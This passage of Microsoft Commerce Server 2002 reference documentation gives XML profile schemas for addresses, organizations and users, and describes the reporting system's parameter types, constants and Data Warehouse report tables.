Address Schema

This topic shows the attribute-centric schema for the Address profile, which stores both user and organization addresses. This schema is identical to what is returned by the GetProfileDefXML method (with the bNamesOnly parameter set to False) of the ProfileService object, and to what is returned by the GetProfileXML method (with the eRetrieveEnum parameter set to psRetrieveSchemaOnly and the bAttributeCentric parameter set to True) of the ProfileObject object.

<?xml version="1.0"?>
<ProfileDocument>
<Schema xmlns="urn:schemas-microsoft-com:xml-data"
   xmlns:dt="urn:schemas-microsoft-com:datatypes">
<ElementType name="Address">
   <attributeType name="address_id" dt:type="string" required="yes"/>
   <attributeType name="id" dt:type="string"/>
   <attributeType name="last_name" dt:type="string"/>
   <attributeType name="first_name" dt:type="string"/>
   <attributeType name="address_name" dt:type="string"/>
   <attributeType name="address_type" dt:type="int"/>
   <attributeType name="description" dt:type="string"/>
   <attributeType name="address_line1" dt:type="string" required="yes"/>
   <attributeType name="address_line2" dt:type="string"/>
   <attributeType name="city" dt:type="string"/>
   <attributeType name="region_code" dt:type="string" required="yes"/>
   <attributeType name="region_name" dt:type="string"/>
   <attributeType name="postal_code" dt:type="string" required="yes"/>
   <attributeType name="country_code" dt:type="string" required="yes"/>
   <attributeType name="country_name" dt:type="string"/>
   <attributeType name="tel_number" dt:type="string"/>
   <attributeType name="tel_extension" dt:type="string"/>
   <attributeType name="locale" dt:type="int"/>
   <attributeType name="user_id_changed_by" dt:type="string"/>
   <attributeType name="date_last_changed" dt:type="datetime"/>
   <attributeType name="date_created" dt:type="datetime"/>
<ElementType name="GeneralInfo" content="eltOnly">
   <attribute type="address_id"/>
   <attribute type="id"/>
   <attribute type="last_name"/>
   <attribute type="first_name"/>
   <attribute type="address_name"/>
   <attribute type="address_type"/>
   <attribute type="description"/>
   <attribute type="address_line1"/>
   <attribute type="address_line2"/>
   <attribute type="city"/>
   <attribute type="region_code"/>
   <attribute type="region_name"/>
   <attribute type="postal_code"/>
   <attribute type="country_code"/>
   <attribute type="country_name"/>
   <attribute type="tel_number"/>
   <attribute type="tel_extension"/>
   <attribute type="locale"/>
   <attribute type="user_id_changed_by"/>
</ElementType>
<ElementType name="ProfileSystem" content="eltOnly">
   <attribute type="date_last_changed"/>
   <attribute type="date_created"/>
</ElementType>
   <element type="GeneralInfo"/>
   <element type="ProfileSystem"/>
</ElementType>
</Schema>
</ProfileDocument>


Organization Schema

This topic shows the attribute-centric schema for the Organization profile, which stores information about organizations (trading partners, home companies, subsidiaries, and so on). This schema is identical to what is returned by the GetProfileDefXML method (with the bNamesOnly parameter set to False) of the ProfileService object, and to what is returned by the GetProfileXML method (with the eRetrieveEnum parameter set to psRetrieveSchemaOnly and the bAttributeCentric parameter set to True) of the ProfileObject object.

<?xml version="1.0"?>
<ProfileDocument>
<Schema xmlns="urn:schemas-microsoft-com:xml-data"
   xmlns:dt="urn:schemas-microsoft-com:datatypes">
<ElementType name="Organization">
   <attributeType name="org_id" dt:type="string" required="yes"/>
   <attributeType name="name" dt:type="string" required="yes"/>
   <attributeType name="trading_partner_number" dt:type="string"/>
   <attributeType name="user_id_admin_contact" dt:type="string"/>
   <attributeType name="user_id_receiver" dt:type="string"/>
   <attributeType name="org_catalog_set" dt:type="string"/>
   <attributeType name="user_id_changed_by" dt:type="string"/>
   <attributeType name="date_last_changed" dt:type="datetime"/>
   <attributeType name="date_created" dt:type="datetime"/>
   <attributeType name="user_id_purchasing_manager" dt:type="string"/>
<ElementType name="GeneralInfo" content="eltOnly">
   <attribute type="org_id"/>
   <attribute type="name"/>
   <attribute type="trading_partner_number"/>
   <attribute type="user_id_admin_contact"/>
   <attribute type="user_id_receiver"/>
   <attribute type="org_catalog_set"/>
   <attribute type="user_id_changed_by"/>
</ElementType>
<ElementType name="ProfileSystem" content="eltOnly">
   <attribute type="date_last_changed"/>
   <attribute type="date_created"/>
</ElementType>
<ElementType name="Purchasing" content="eltOnly">
   <attribute type="user_id_purchasing_manager"/>
</ElementType>
   <element type="GeneralInfo"/>
   <element type="ProfileSystem"/>
   <element type="Purchasing"/>
</ElementType>
</Schema>
</ProfileDocument>


UserObject Schema

This topic shows the attribute-centric schema for the UserObject profile, which stores information about both registered and anonymous users. This schema is identical to what is returned by the GetProfileDefXML method (with the bNamesOnly parameter set to False) of the ProfileService object, and to what is returned by the GetProfileXML method (with the eRetrieveEnum parameter set to psRetrieveSchemaOnly and the bAttributeCentric parameter set to True) of the ProfileObject object.

<?xml version="1.0"?>
<ProfileDocument>
<Schema xmlns="urn:schemas-microsoft-com:xml-data"
   xmlns:dt="urn:schemas-microsoft-com:datatypes">
<ElementType name="UserObject">
   <attributeType name="org_id" dt:type="string"/>
   <attributeType name="account_status" dt:type="int" required="yes"/>
   <attributeType name="user_catalog_set" dt:type="string"/>
   <attributeType name="date_registered" dt:type="datetime"/>
   <attributeType name="campaign_history" dt:type="string"/>
   <attributeType name="partner_desk_role" dt:type="int"/>
   <attributeType name="user_id" dt:type="string" required="yes"/>
   <attributeType name="logon_name" dt:type="string" required="yes"/>
   <attributeType name="user_security_password" dt:type="string" required="yes"/>
   <attributeType name="email_address" dt:type="string"/>
   <attributeType name="user_type" dt:type="int"/>
   <attributeType name="user_title" dt:type="string"/>
   <attributeType name="last_name" dt:type="string"/>
   <attributeType name="first_name" dt:type="string"/>
   <attributeType name="tel_number" dt:type="string"/>
   <attributeType name="tel_extension" dt:type="string"/>
   <attributeType name="fax_number" dt:type="string"/>
   <attributeType name="fax_extension" dt:type="string"/>
   <attributeType name="user_id_changed_by" dt:type="string"/>
   <attributeType name="date_last_changed" dt:type="datetime"/>
   <attributeType name="date_created" dt:type="datetime"/>
<ElementType name="AccountInfo" content="eltOnly">
   <attribute type="org_id"/>
   <attribute type="account_status"/>
   <attribute type="user_catalog_set"/>
   <attribute type="date_registered"/>
</ElementType>
<ElementType name="Advertising" content="eltOnly">
   <attribute type="campaign_history"/>
</ElementType>
<ElementType name="BusinessDesk" content="eltOnly">
   <attribute type="partner_desk_role"/>
</ElementType>
<ElementType name="GeneralInfo" content="eltOnly">
   <attribute type="user_id"/>
   <attribute type="logon_name"/>
   <attribute type="user_security_password"/>
   <attribute type="email_address"/>
   <attribute type="user_type"/>
   <attribute type="user_title"/>
   <attribute type="last_name"/>
   <attribute type="first_name"/>
   <attribute type="tel_number"/>
   <attribute type="tel_extension"/>
   <attribute type="fax_number"/>
   <attribute type="fax_extension"/>
   <attribute type="user_id_changed_by"/>
</ElementType>
<ElementType name="ProfileSystem" content="eltOnly">
   <attribute type="date_last_changed"/>
   <attribute type="date_created"/>
</ElementType>
   <element type="AccountInfo"/>
   <element type="Advertising"/>
   <element type="BusinessDesk"/>
   <element type="GeneralInfo"/>
   <element type="ProfileSystem"/>
</ElementType>
</Schema>
</ProfileDocument>


Run Time Representations

This section shows the attribute-centric Extensible Markup Language (XML) run time representations for the profiles defined in Commerce Server 2002. These representations are identical to the XML structures returned by the GetProfileXML method (with the eRetrieveEnum parameter set to psRetrieveDataOnly) of the ProfileObject object.

This section contains:

  • Address Run Time Representation. Shows the attribute-centric run time representation for the Address profile, which stores both user and organization addresses.
  • Organization Run Time Representation. Shows the attribute-centric run time representation for the Organization profile, which stores information about organizations (trading partners, home companies, subsidiaries, and so forth).
  • UserObject Run Time Representation. Shows the attribute-centric run time representation for the UserObject profile, which stores information about both registered and anonymous users.


Address Run Time Representation

This topic shows the XML attribute-centric run time representation for the Address profile, which stores both user and organization addresses. This definition is identical to the XML structures returned by the GetProfileXML method (with the eRetrieveEnum parameter set to psRetrieveDataOnly and the bAttributeCentric parameter set to True) of the ProfileObject object.

<?xml version="1.0"?>
<ProfileDocument>
<Address>
   <GeneralInfo address_id id last_name first_name address_name
      address_type description address_line1 address_line2 city
      region_code region_name postal_code country_code country_name
      tel_number tel_extension locale />
   </GeneralInfo>
   <ProfileSystem date_last_changed date_created>
   </ProfileSystem>
</Address>
</ProfileDocument>


Organization Run Time Representation

This topic shows the XML attribute-centric run time representation for the Organization profile, which stores information about organizations (trading partners, home companies, subsidiaries, and so on). This definition is identical to the XML structures returned by the GetProfileXML method (with the eRetrieveEnum parameter set to psRetrieveDataOnly and the bAttributeCentric parameter set to True) of the ProfileObject object.

<?xml version="1.0"?>
<ProfileDocument>
<Organization>
   <GeneralInfo org_id name trading_partner_number user_id_admin_contact
      user_id_receiver org_catalog_set user_id_changed_by>
   </GeneralInfo>
   <ProfileSystem date_last_changed date_created>
   </ProfileSystem>
   <Purchasing user_id_purchasing_manager>
   </Purchasing>
</Organization>
</ProfileDocument>


UserObject Run Time Representation

This topic shows the XML attribute-centric run time representation for the UserObject profile, which stores information about both registered and anonymous users. This definition is identical to the XML structures returned by the GetProfileXML method (with the eRetrieveEnum parameter set to psRetrieveDataOnly and the bAttributeCentric parameter set to True) of the ProfileObject object.

<?xml version="1.0"?>
<ProfileDocument>
<UserObject>
   <AccountInfo org_id account_status user_catalog_set date_registered>
   </AccountInfo>
   <BusinessDesk partner_desk_role>
   </BusinessDesk>
   <GeneralInfo user_id logon_name user_security_password email_address
      user_type user_title last_name first_name tel_number tel_extension
      fax_number fax_extension user_id_changed_by>
   </GeneralInfo>
   <ProfileSystem date_last_changed date_created>
   </ProfileSystem>
</UserObject>
</ProfileDocument>


Schema Reference

Microsoft Commerce Server 2002 uses databases in many different capacities. It is important for programmers to have knowledge of the schema employed by some of these databases.

This section contains:

  • Analysis/Reporting Schema. Describes the schema used to create reports in Commerce Server.
  • Data Warehouse Schema. Describes the classes and relations that make up the logical schema and the meta-model used to create them.
  • Predictor Schema. Describes the tables used to define a Prediction model configuration.
  • Profiles Schema. Describes the pre-defined profile schemas: Address, Organization, and UserObject.


Analysis/Reporting Schema

This section describes the schema used to create reports in Commerce Server 2002.

This section contains:

  • Analysis/Reporting Architecture. Describes the overall architecture of the analytics/reporting features in the Business Analytics System.
  • Parameterization. Describes the parameters used to create the parameterized queries in static reports.
  • Report Tables. Describes the tables used to create reports and their relations.

See Also

Analysis/Reporting XML Structures

AsyncRpt2 Object

Creating Custom Reports

ReportRender2 Object

Running Reports


Analysis/Reporting Architecture

Analysis and reporting in Commerce Server 2002 is built on an open architecture designed to allow total content control by business managers. The business manager is free to add, delete, and modify report content.

Static or dynamic reports can be based on either SQL or multidimensional expression (MDX) queries of SQL or OLAP databases, respectively. Static reports are HTML-based; dynamic reports use Microsoft Office XP Web Components (OWC).

Static report definitions consist of a query with dimension and parameter definitions. The parameter definitions are optional. When a static report is run, the parameters are presented to the operator and then passed to a rendering component. The rendering component generates an HTML document from the query results. Completed static reports are stored as HTML files on the Internet Information Services (IIS) computer hosting the Commerce Server Business Desk Analysis Completed Reports module. These reports can be opened through Business Desk and are displayed in Microsoft Internet Explorer.

Dynamic report definitions contain several properties including the pivot table view, which is stored in Extensible Markup Language (XML) in the Data Warehouse. Report results are displayed in the Pivot Table component.

Definitions for the pre-defined reports are contained in the CSReports.sql and CSReports2.sql files found in the Commerce Server installation directory. These files populate the report tables in the Commerce Server Data Warehouse. You use the Report preparation Data Transformation Services (DTS) task to process OLAP cubes and run stored procedures to prepare imported data for reporting.

See Also

Analysis Reporting

Scripts for Securing Databases Accessed by Reports

Accessing the Analysis Server Over HTTPS


Parameterization

This section describes the parameters and constants used to create the parameterized query entries in the ReportParam table.

This section contains:

  • Parameter Types. Describes the available parameter types and their valid operands and values.
  • Constants. Lists the constants available for use in creating reports.


Parameter Types

The following table lists the available parameter types and their valid operands and values. The SingleValue parameter type can appear anywhere in a query. The SelectOrder parameter type is used in the Select clause of the query. The remaining parameter types appear in the Where clause of the query.

Paramtype Operand1 Value1 Operand2 Value2
ParamType_DateRange DateRangeOpnd_All

DateRangeOpnd_From

DateRangeOpnd_OnOrBefore

DateRangeOpnd_Today

DateRangeOpnd_ThisWeek

DateRangeOpnd_ThisMonth

DateRangeOpnd_ThisQuarter

DateRangeOpnd_ThisYear

DateRangeOpnd_Yesterday

DateRangeOpnd_LastWeek

DateRangeOpnd_LastMonth

DateRangeOpnd_LastQuarter

DateRangeOpnd_LastYear

 Required for the DateRangeOpnd_From or DateRangeOpnd_OnOrBefore operand.

For the DateRangeOpnd_From operand, the beginning date of a range to return.

For the DateRangeOpnd_OnOrBefore operand, the last date to include.

Not applicable for the other operand types.

Date format = MM/DD/YYYY

 Not applicable. Required for the DateRangeOpnd_From operand.

The end date of a range to return.

Not applicable for the other operand types.
ParamType_Expression ExpOpnd_All

ExpOpnd_Equals

ExpOpnd_NotEquals

ExpOpnd_IsNull

ExpOpnd_IsNotNull

ExpOpnd_LessThan (only used for numeric types)

ExpOpnd_LessThanOrEquals (only used for numeric types)

ExpOpnd_GreaterThan (only used for numeric types)

ExpOpnd_GreaterThanOrEquals (only used for numeric types)

ExpOpnd_Like (only used for String types)

ExpOpnd_NotLike (only used for String types)

 Not applicable for the ExpOpnd_None operand.

Required for the other parameter types.

Valid types are:

  • Currency
  • Float
  • Integer
  • String
 Same operand types as Operand1.

Not applicable for the ExpOpnd_None operand.

Optional for the other operand types.

Required if Operand2 is specified.
ParamType_SelectOrder SelectOrderOpnd_All (SQL only)

SelectOrderOpnd_Distinct (SQL only)

SelectOrderOpnd_Top

SelectOrderOpnd_Bottom (MDX only)

Required for the SelectOrderOpnd_Top or SelectOrderOpnd_Bottom operand.

An Integer specifying the number of rows to return.

Not applicable for the SelectOrderOpnd_All operand.

 Not applicable. Not applicable.
ParamType_SingleValue Not applicable Required String value.

The value for this operand is a text field that can accommodate any type of entry. Two examples are: booleanVal = "True" and Time = "12:59:59".

 Not applicable. Not applicable.
ParamType_SiteName
(SQL query only) 		SiteNameOpnd_All

SiteNameOpnd_Equals

SiteNameOpnd_NotEquals

SiteNameOpnd_Like

SiteNameOpnd_NotLike

 Not applicable for the SiteNameOpnd_All operand.

Required String value for the others.

 Not applicable. Not applicable.


Constants

The following tables list the constants defined in the CSReports.sql file for use in creating parameterized reports:

  • DataType
  • ParamType
  • ParamType_DateRange Operand
  • ParamType_Expression Operand
  • ParamType_SelectOrder Operand
  • ParamType_SiteName Operand

DataType

The following table lists the valid data types.

Data type | Value
DataType_date | 1
DataType_integer | 2
DataType_float | 3
DataType_currency | 4
DataType_text | 5

ParamType

The following table lists the valid parameter types. The Constraint column lists where the parameter type is used in the query.

Parameter type | Value | Constraint
ParamType_SingleValue | 0 | Anywhere
ParamType_Expression | 1 | WHERE clause
ParamType_SelectOrder | 2 | SELECT clause
ParamType_DateRange | 3 | WHERE clause
ParamType_SiteName | 4 | WHERE clause

ParamType_DateRange Operand

The following table lists the valid date range operands.

Operand | Value
DateRangeOpnd_All | 0
DateRangeOpnd_From | 1
DateRangeOpnd_OnOrBefore | 2
DateRangeOpnd_Today | 3
DateRangeOpnd_ThisWeek | 4
DateRangeOpnd_ThisMonth | 5
DateRangeOpnd_ThisQuarter | 6
DateRangeOpnd_ThisYear | 7
DateRangeOpnd_Yesterday | 8
DateRangeOpnd_LastWeek | 9
DateRangeOpnd_LastMonth | 10
DateRangeOpnd_LastQuarter | 11
DateRangeOpnd_LastYear | 12

ParamType_Expression Operand

The following table lists the valid expression operands.

Operand | Value | Constraint
ExpOpnd_All | 0 | None
ExpOpnd_Equals | 1 | None
ExpOpnd_NotEquals | 2 | None
ExpOpnd_IsNull | 3 | None
ExpOpnd_IsNotNull | 4 | None
ExpOpnd_LessThan | 5 | Numeric data types only
ExpOpnd_LessThanOrEquals | 6 | Numeric data types only
ExpOpnd_GreaterThan | 7 | Numeric data types only
ExpOpnd_GreaterThanOrEquals | 8 | Numeric data types only
ExpOpnd_Like | 9 | Char data type only
ExpOpnd_NotLike | 10 | Char data type only

ParamType_SelectOrder Operand

The following table lists the valid select order operands.

Operand | Value | Constraint
SelectOrderOpnd_All | 0 | SQL only
SelectOrderOpnd_Distinct | 1 | SQL only
SelectOrderOpnd_Top | 2 | SQL and MDX
SelectOrderOpnd_Bottom | 3 | MDX only

ParamType_SiteName Operand

The following table lists the valid site name operands. The ParamType_SiteName operand is applicable only for SQL queries.

Operand | Value
SiteNameOpnd_All | 0
SiteNameOpnd_Equals | 1
SiteNameOpnd_NotEquals | 2
SiteNameOpnd_Like | 3
SiteNameOpnd_NotLike | 4


Report Tables

This section contains information about the reporting schema and the report tables used in the Data Warehouse. This section also contains a table that describes report table usage by report type.

The following figure identifies the report tables and their relations. Each table is described in the subsequent sections.

Reporting Schema

This section contains:

  • Report Table. Describes the attributes used in the main report definition table.
  • ReportDimension Table. Describes the attributes used to add a dimension to a report.
  • ReportInstanceDbObject Table. Describes instances of database objects created for use in a static report.
  • ReportInstanceParam Table. Describes the attributes used to store the parameters entered through the user interface for use in query expressions.
  • ReportParam Table. Describes the attributes used to add a parameterized query expression to a static report.
  • ReportStatus Table. Describes the attributes used to supply status information about a static report.
  • GroupReportDbObject Table. Describes the temporary objects created during grouped report generation.
  • GroupReportJob Table. Describes the attributes used to track the grouped report jobs that have been run.
  • GroupReportStatus Table. Describes the attributes used to keep track of the individual reports that have been generated when a grouped report is run.
  • CubeProcInfo Table. Describes the attributes used by the Report preparation DTS task to process cubes.
  • CubePartitionInfo Table. Describes the attributes used track the processing state of data within the cube.
  • DimProcInfo Table. Describes the attributes used by the Report preparation DTS task to process shared dimensions.
  • StoredProcInfo Table. Describes the attributes used by the Report preparation DTS task to run stored procedures.
  • ReportPreExec Table. Describes the attributes used by the Report caching DTS task to run OLAP reports.
  • Table Usage by Report Type. Describes report table usage by report type.


Report Table

The following table describes the attributes used in the main report definition table.

Attribute name | Data type | Constraint | Default | Description
ReportID | int | None | None | Unique identifier.
AggregationType | tinyint | NULL | None | Not used.
Category | nvarchar (128) | NULL | None | Category of the report.
ChartType | int | None | 3 | See "Chart Types" table immediately following.
CommerceBuild | nvarchar (128) | NULL | None | Commerce Server build number.
CreatedBy | nvarchar (128) | NULL | None | Name of the user who created the report.
CreatedTime | datetime | NULL | getdate() | Date and time the report was created.
Definition | ntext | NULL | None | Long description.
Description | nvarchar (128) | NULL | None | Short description.
DisplayName | nvarchar (128) | NULL | None | Name displayed in the user interface.
DmExport | bit | None | False (0) | If True (1), the report contains the rcp_Email field, which can be exported to List Manager for use by Direct Mailer.
HelpFileRef | nvarchar (256) | None | None | Help file name.
LastModifiedBy | nvarchar (128) | NULL | None | Name of the user who last modified the report.
LastRunBy | nvarchar (128) | NULL | None | Name of the user who last ran the report.
LastRunDateTime | datetime | NULL | None | Date and time the report was last run.
MajorVersion | int | NULL | None | None.
MinorVersion | int | NULL | None | None.
ModifiedTime | datetime | NULL | None | Date and time the report was last modified.
OrderBy | nvarchar(512) | None | None | Used to order the static SQL report results.
Private | bit | None | False (0) | Not used.
Protected | bit | None | False (0) | True (1) indicates the report may not be overwritten or deleted. True for all system reports.
Query | nvarchar (2000) | NULL | None | The executable SQL query.
ReportType | tinyint | NULL | None | See "Report Types" table immediately following.
SeriesInColumns | bit | None | True (1) | Inverts the chart (swaps x and y).
ShowChart | bit | None | False (0) | True indicates to show the chart.
ShowDefinition | bit | NOT NULL | None | True indicates to show the definition.
ShowLegend | bit | None | True (1) | True indicates to show the chart legend.
ShowPivot | bit | None | True (1) | True indicates to show the pivot control.
UPMExport | bit | None | False (0) | If True (1), the report contains the rcp_GUID field, which can be exported to List Manager for use by the Profiling system.
XMLData | ntext | NULL | None | PivotTable XML data.

Chart Types

Most Microsoft Office XP Web Components charts can be used with reports created by Commerce Server. The following table lists a few of the more common chart types. The chart type can be selected directly in the Chart control.

ChartType | Value
Column: Clustered | 0
Bar: Clustered | 3
Line | 6
Pie | 18

Report Types

The following table lists the valid report type values.

ReportType | Value
Dynamic_SQL | 0
Dynamic_MDX | 1
Static_SQL | 2
Static_MDX | 3
Static_Grouped_SQL | 4
Static_Grouped_MDX | 5


ReportDimension Table

The following table describes the attributes used to add a dimension to a static report.

Attribute name | Data type | Constraint | Default | Description
ReportID | int | NOT NULL | None | ID of the report with which the dimension is associated.
AggregationType | tinyint | None | 0 | Not used.
DimensionType | tinyint | NOT NULL | None | 0 = Column 1 = Row 2 = Measure
DisplayName | nvarchar (128) | NULL | None | Name displayed in the user interface.
FieldName | nvarchar (128) | NOT NULL | None | Field name displayed in the report query result.
GroupDim | bit | NULL | None | Used in grouped reports to specify that the dimension is to be used for grouping.
Ordinal | tinyint | NOT NULL | None | Used to specify the user interface rendering order.


ReportInstanceDbObject Table

The following table describes instances of database objects created for use in a static report. This table is created at report run time.

Attribute name | Data type | Constraint | Default | Description
ReportStatusID | int | NOT NULL | None | ID of the report instance.
DateCreated | datetime | NOT NULL | None | Date and time the object was instantiated.
DbObjectInstanceName | nvarchar (128) | NULL | None | Name of the table or view.
DbObjectType | nvarchar (128) | NULL | None | 0 = Table 1 = TempTable 2 = View


ReportInstanceParam Table

The following table stores an instance of the parameterized query expression. This table is created at report run time.

Attribute name | Data type | Constraint | Default | Description
ReportStatusID | int | NOT NULL | None | ID of the report instance.
AllowNull | bit | NOT NULL | False (0) | Reserved for future use.
Automatic | bit | NOT NULL | False (0) | Reserved for future use.
DataType | nvarchar (128) | NULL | None | Data type of Val1 and Val2. 0 = int 1 = float 2 = datetime 3 = char
FieldName | nvarchar (128) | NULL | None | Field in query used for expression.
Opnd1 | tinyint | NULL | 0 | First operand.
Opnd2 | tinyint | NULL | 0 | Second operand.
ParamName | nvarchar (128) | NULL | None | Tag name.
ParamType | tinyint | NULL | None | Type of parameter.
Val1 | nvarchar (128) | NULL | None | First value.
Val2 | nvarchar (128) | NULL | None | Second value.


ReportParam Table

The following table describes the attributes used to create a parameterized query for a static report.

Attribute name | Data type | Constraint | Default | Description
ReportID | int | NOT NULL | None | ID of the report with which the parameter is associated.
AllowNull | bit | NOT NULL | False (0) | Reserved for future use.
Automatic | bit | NOT NULL | False (0) | Reserved for future use.
DataType | tinyint | NULL | None | Data type of Val1 and Val2. 0 = int 1 = float 2 = datetime 3 = char
FieldName | nvarchar (128) | NULL | None | Field in query used for expression.
Opnd1 | tinyint | NULL | None | First operand.
Opnd2 | tinyint | NULL | None | Second operand.
Ordinal | tinyint | NULL | None | Used to specify the user interface rendering order.
ParamDescription | nvarchar (128) | NOT NULL | None | Text displayed on the clickable bar.
ParamName | nvarchar (128) | NOT NULL | None | Tag name.
ParamType | tinyint | NOT NULL | 0 | Type of parameter.
Val1 | nvarchar (128) | NULL | None | First value.
Val2 | nvarchar (128) | NULL | None | Second value.


ReportStatus Table

The following table describes the attributes used to supply status information about a report. This table is populated at report run time.

Attribute name | Data type | Constraint | Default | Description
ReportStatusID | int | None | None | Unique identifier.
ReportID | int | NULL | None | ID of the report with which the status is associated.
DisplayName | nvarchar (128) | NULL | None | Name displayed in the user interface.
ExecutionState | tinyint | NOT NULL | 0 | 0 = None 1 = Failed 2 = Pending 3 = Completed
Exported | bit | NULL | False (0) | True specifies the report was exported.
LocationName | nvarchar (255) | NULL | None | Name of the report.
LocationPath | nvarchar (255) | NULL | None | Path to the report.
RunBy | nvarchar (255) | NULL | None | Name of the person running the report.
RunDateTime | datetime | NULL | None | Date the report was run.
SiteName | nvarchar (256) | NULL | None | Name of the site.


GroupReportDbObject Table

The following table describes the attributes used to create the temporary objects during grouped report generation. This table is populated at report run time.

Attribute name | Data type | Constraint | Default | Description
GroupReportJobID | int | NOT NULL | None | ID of the report job with which the parameter is associated.
DbObjectType | nvarchar (128) | NULL | None | 0 = Table 1 = TempTable 2 = View
DbObjectInstanceName | nvarchar (128) | NULL | None | Name of the database object.
DateCreated | datetime | NOT NULL | None | Date and time the object was instantiated.


GroupReportJob Table

The following table describes the attributes used to keep track of the grouped report jobs that have been run. This table is populated at report run time.

Attribute name | Data type | Constraint | Default | Description
GroupReportJobID | int | NOTNULL | None | ID of the report job with which the parameter is associated.
DisplayName | nvarchar (128) | NULL | None | Name displayed in the user interface.
ExecutionState | tinyint | NOT NULL | None | 0 = None 1 = Failed 2 = Pending 3 = Completed
GroupReportQuantity | int | NOT NULL | None | Number of reports generated for this grouped report.
LocationName | nvarchar (255) | NULL | None | Name of the report.
LocationPath | nvarchar (512) | NULL | None | Path to the report.
RunDateTime | datetime | NOT NULL | None | Date the report was run.


GroupReportStatus Table

The following table describes the attributes used to track the individual reports that have been generated when a grouped report is run. This table is populated at report run time.

Attribute name | Data type | Constraint | Default | Description
GroupReportJobID | int | NOT NULL | None | ID of the report job with which the parameter is associated.
GroupDim1Name | nvarchar (128) | NULL | None | First grouping dimension name.
GroupDim1Value | nvarchar (128) | NULL | None | First grouping dimension value.
GroupDim2Name | nvarchar (128) | NULL | None | Second grouping dimension name.
GroupDim2Value | nvarchar (128) | NULL | None | Second grouping dimension value.
GroupDim3Name | nvarchar (128) | NULL | None | Third grouping dimension name.
GroupDim3Value | nvarchar (128) | NULL | None | Third grouping dimension value.
Location | nvarchar (512) | NULL | None | The report path.
RunDateTime | datetime | NULL | None | Date the report was run.


CubeProcInfo Table

The following table contains information used by the Report preparation DTS task to process cubes. This table should be updated when cubes are added or deleted.

Attribute name | Data type | Constraint | Default | Description
AutoPartition | bit | NOT NULL | 1 | If set to True (1), new partitions will be added to the cube as needed by the Report preparation DTS task. If set to False (0), partitions will not be automatically created for the cube.
CubeName | nvarchar (50) | NOT NULL | None | Name of the cube to be processed.
FactTable | Sysname | NULL |  | Name of the fact table associated with the cube name.
IncEnabled | bit | NOT NULL | None | If True (1), the cube will be processed incrementally if the Report preparation task is running in incremental mode. If False (0), data for the cube will always be fully refreshed when the Report preparation task is run.
IsVirtual | bit | NOT NULL | 0 | If False (0) the cube is standard. If True (1) the cube is virtual.
Optimization | tinyint | NULL |  | Indicates targeted optimization percentage for the Report preparation DTS task when run in full mode and aggregations are designed for the cube. If set to NULL, no aggregations will be designed.
PartitioningKey | Sysname | NULL |  | Specifies the name of the column in the table defined in PartitionKeySource, which will be used to partition data within the cube. This column is used by auto-partitioning if the AutoPartition bit is set to 1.
PartitionKeySource | Sysname | NULL |  | Specifies the name of the table that provides partition key values.
PartitionSize | Bigint | NULL | Validate that PartitionSize is greater than zero (0). | Specifies the key range that will be covered by the next partition added to the cube by auto-partitioning.
ProcessingEnabled | bit | NOT NULL | 1 | If True (1), the cube will be processed. If False (0), the cube will not be processed.
ProcessingKey | Sysname | NULL |  | Specifies the name of the column in the table defined in ProcessingKeySource, which will be used to identify new rows that have been added to this table. This column is used by incremental processing if the IncEnabled bit is set to 1.
ProcessingKeySource | Sysname | NULL |  | Specifies the name of the table that provides processing key values.
ProcessingPass | int | NOT NULL | 0 | The Report preparation DTS task groups cube processing operations into separate passes. All cubes in one pass are processed before cubes in the next pass are processed.


CubePartitionInfo Table

The CubePartitionInfo table defines the actual partitions within the cube and is used to track the processing state of data within the cube.

Attribute name | Data type | Constraint | Default | Description
CubeName | nvarchar (50) | NOT NULL |  | Specifies the name of the cube to be processed.
LastKeyProcessed | Sql_variant | NULL |  | Contains the maximum value of the fact table ProcessingKey that was added to this partition.
LastProcessedDate | datetime | NULL |  | Contains the datetime at which the last attempt to process the partition was made.
LastProcessedDescr | nvarchar (255) | NULL |  | Contains text describing the result of the last attempt to process the partition.
LastProcessedStatus | int | NULL |  | Contains the status of the last attempt to process the partition. Zero (0) for success.
LastSuccessfulDate | datetime | NULL |  | Contains the datetime of the last successful attempt to process the partition.
MaxVal | Sql_variant | NOT NULL |  | The maximum value for partitioning column values. Fact table rows with partitioning column values equal to or less than this value will be added to the partition.
MinVal | Sql_variant | NOT NULL |  | The minimum value for partitioning column values. Fact table rows with partitioning column values equal to or greater than this value will be added to the partition.
PartitionId | int | NOT NULL |  | Used internally to assign sequential partition names. This value does not necessarily correspond with the partition ordinal within the cube.
PartitionName | nvarchar(50) | NOT NULL |  | Specifies the name of the partition to be processed.
ProcessingEnabled | bit | NOT NULL | 1 | If True (1), the cube will be processed by the Report preparation DTS task. If False (0), the cube is not processed.
ProcessingState | int | NULL | 0 | Used internally by the Report preparation DTS task. If set to True (1), the processing state of the partition is indeterminate. All data within a partition will be refreshed if the ProcessingState is set to True (1).


DimProcInfo Table

The following table contains information used by the Report preparation DTS task to process shared dimensions. This table should be updated when shared dimensions are added or deleted.

Attribute name | Data type | Constraint | Default | Description
DimName | nvarchar (50) | NOT NULL | None | Dimension name.
IncEnabled | bit | NOT NULL | 1 | If True (1), the dimension will be processed incrementally. If False (0), the dimension data will always be fully refreshed, regardless of the task settings.
LastSuccessfulDate | datetime | NULL | None | Date and time that the dimension was last processed successfully.
LastProcessedDate | datetime | NULL | None | Date and time of the last attempt to process the dimension.
LastProcessedDescr | nvarchar (255) | NULL | None | Contains text describing the result of the last attempt to process the dimension.
LastProcessedStatus | int | NULL | None | Status of the last attempt to process the dimension. If 0, the cube was processed successfully.
Ordinal | int | NULL | None | Specifies the order in which the dimension is to be processed by the Report preparation DTS task.
ProcessingEnabled | bit | NOT NULL | 1 | If True (1), the dimension will be processed. If False (0), the dimension will not be processed.


StoredProcInfo Table

The following table contains information used by the Report preparation DTS task to run stored procedures. This table should be updated when stored procedures needed for reporting are added or deleted.

Attribute name | Data type | Constraint | Default | Description
Name | nvarchar (150) | NULL | None | Name of the stored procedure.
Ordinal | int | NULL | None | Specifies the order in which the stored procedure will be processed by the Report preparation DTS task.
ProcessingEnabled | bit | NULL | 1 | If True (1), the stored procedure will be processed. If False (0), the procedure will not be processed.


ReportPreExec Table

The following table contains information used by the Report caching DTS task to run OLAP reports. To change the reports or the order in which the Report caching DTS task runs, you add, remove, or change rows in the ReportPreExec table.

Attribute name | Data type | Constraint | Default | Description
ReportID | int | NOT NULL |  | The report ID to be run. Any report ID can be specified, but only reports of type 1 (dynamic OLAP) will be processed by the Report caching DTS task.
Ordinal | int | NOT NULL |  | The order in which to run reports.


Table Usage by Report Type

The following table shows which report tables are used to create the different report types.

